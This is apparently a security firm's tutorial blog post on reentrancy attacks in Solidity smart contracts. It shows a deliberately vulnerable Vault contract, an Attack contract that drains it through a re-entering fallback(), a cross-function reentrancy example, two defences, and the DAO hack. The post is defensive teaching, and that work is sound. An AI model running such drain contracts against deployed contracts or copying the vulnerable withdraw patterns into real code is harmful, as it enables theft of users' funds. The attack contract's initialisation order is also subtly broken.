Reentrancy Attack

Olympix
5 min readDec 20, 2022

Whenever the execution stack leaps or invokes subroutines prior to returning to the starting execution in computer systems with a single thread, re-entrancy happens.

To further comprehend this assertion, let’s dissect it. A computer program known as a “single-threaded computing environment” is able to process each computation entirely before moving on to the next one.

Reentrancy occurs when the code that needs to run sends the execution stack, or the stream of execution, to a subroute, which then completes its task and sends the execution flow down to the main code, giving rise to the name re-entrancy.

In simple terms, there is just one method for carrying out a piece of code.

When command over the flow of a contract is transferred from trustworthy code to unverified external code, re-entrancy happens in a smart contract. When discussing smart contracts, a transaction is the stream of execution, and once a malicious actor gains control of that flow, they can alter the operation to their advantage. More on it is covered in the following parts.

Most blockchain computers, including the EVM, are single-threaded by design. Single-thread execution guarantees the atomicity of smart contracts and eliminates various race situations. However, it also makes contracts susceptible to wrong execution orders, which lead to re-entrancy.

Solidity Smart Contract Reentrancy

To comprehend it better, let’s construct a reentrancy scenario. The vault contract shown below allows users to withdraw their funds whenever they want and retains the balance of any address that deposits Ethereum to it.

When invoking the deposit () method, an account may transmit ETH. It stores the sender’s money in a mapping system called balances.

The withdraw() function delivers an identical amount of ETH through the contract to the one who calls it and changes the caller’s balance in the account to zero, after comparing the balance to the caller’s address in the balances mapping.

// SPDX-License-Identifier: MIT 
pragma solidity ^0.8.6;

contract Vault {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}

Do you find anything wrong with the code in the previous section? Using the notion that smart contracts essentially are Single-Threaded computers and that when the stream of code is handed to an outside code, the outside code can alter the workflow to its advantage, let’s try to design a contract that could clear out all the ETH stored in the contract.

What then should we do? Does the contract contain the msg.sender.call method? It is a typical method of transferring ETH to different contracts. By using this way, the invoked contract’s fallback() function receives the function’s flow. Let’s create a contract that, when it receives the execution flow to its fallback() method, attempts to rob the assets of this contract.

// SPDX-License-Identifier: MIT 
pragma solidity ^0.8.6;

interface IVault{
function deposit() external payable;
function withdraw() external;
}

contract Attack {
address vaultAddress;

constructor(address _vaultAddress){
vaultAddress = _vaultAddress;
}

IVault vault = IVault(vaultAddress);

function attack() external payable {
require(msg.value >= 1 ether);
vault.deposit{value: 1 ether}();
vault.withdraw();
}

fallback() external payable {
if (address(vault).balance >= 1 ether) {
vault.withdraw();
}
}
}

When calling the attack() function, you must deliver 1 ether in order to target the vault contract.

We verify the vault contract’s balance in the fallback() method, and if it is not zero, we run the withdraw() method once more.

Prevention

After examining the operation of a re-entrancy attack, let’s examine some methods for preventing re-entrancy.

The pattern of Checks-Effects-Interactions

The Checks-Effects-Interactions pattern can be used to quickly and effectively prevent re-entrancy. This approach requires you to write the code within your method in a specific way.

  • All of the prerequisites for the method to be called by the caller are first verified.
  • The function has completed all necessary state adjustments.
  • External calls are performed to communicate with the other contract.

To further comprehend the pattern, let’s recreate the vault from the last part using the Checks-Effects-Interactions design principle.

function withdrawWithCEI() public { 
uint bal = balances[msg.sender];
// Checks:
require(bal > 0);
// Effects:
balances[msg.sender] = 0;
// Interaction:
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}

If the outside contract attempts to re-enter, the required statement at the beginning will stop the operation as we are changing the caller’s account balance before handing the execution’s flow to the outside attacker contract.

Openzeppelin’s Reentrancy Guard

A typical strategy for reducing reentrancy is employed by Openzeppelin’s Reentrancy Guard, which makes use of a gas-efficient mutex (mutually exclusive flag) design. Using the nonReentrant modifier, this approach secures the method call that is vulnerable to reentrancy. The lock is available when the susceptible function execution begins, allowing it to proceed. Still, it is instantly locked once the function has begun and for as long as it continues to run. The lock is once more opened after the full execution is accomplished.

The Require statement that verifies to see if the flag is released will stop the execution if a malicious outside contract attempts to re-enter the method in the middle of it because we locked the flag as quickly as the execution begins. This is a very practical technique to construct a reentrancy guard due to Openzeppelin’s gas-efficient and attack-tested contract. All that is necessary is to incorporate the Reentrancy Guard contract and give the nonReentrant attribute to all the susceptible functions.

To show how the aforementioned tactics work in action, try to duplicate the attack from the previous section.

Re-entrancy Attack Types

Single Function Attack

In this attack, the malicious contract returns to the exact function where it originally called itself outside. This kind of attack is exemplified by the vault contract from the previous section.

Cross-function Reentrancy

This attack uses two functions that utilize require statements that verify the exact state variable, but the method where the hostile outside call is made is distinct from the method to which the hostile contract makes the re-entry. Here is an instance of a code that is vulnerable to cross-function re-entrancy.

mapping (address => uint) private userBalances; 

function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}

function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
(bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call transfer()
require(success);
userBalances[msg.sender] = 0;
}

Real-world Case Study

DAO hack

Hackers gained access to Ethereum’s DAO (Decentralized Autonomous Organization) and stole $60 million in ether. The DAO initiative on Ethereum was intended to function as an investor-directed capital business where network participants may vote on projects to invest in.

A recursive call fault in the code made the smart contract where the funds were frozen susceptible to a reentrancy attack. The susceptible code for the DAO is a condensed version of the code used as the preceding section’s illustration of Cross function re-entrancy. The contract was attacked by the hacker, who managed to siphon out 3.6 million ethers.

Conclusion

Now that you are more knowledgeable about reentrancy’s operation and potential occurrence, you will also be able to create safer smart contracts.

Join our beta program now https://www.olympix.ai/

Originally published at https://www.linkedin.com.

--

--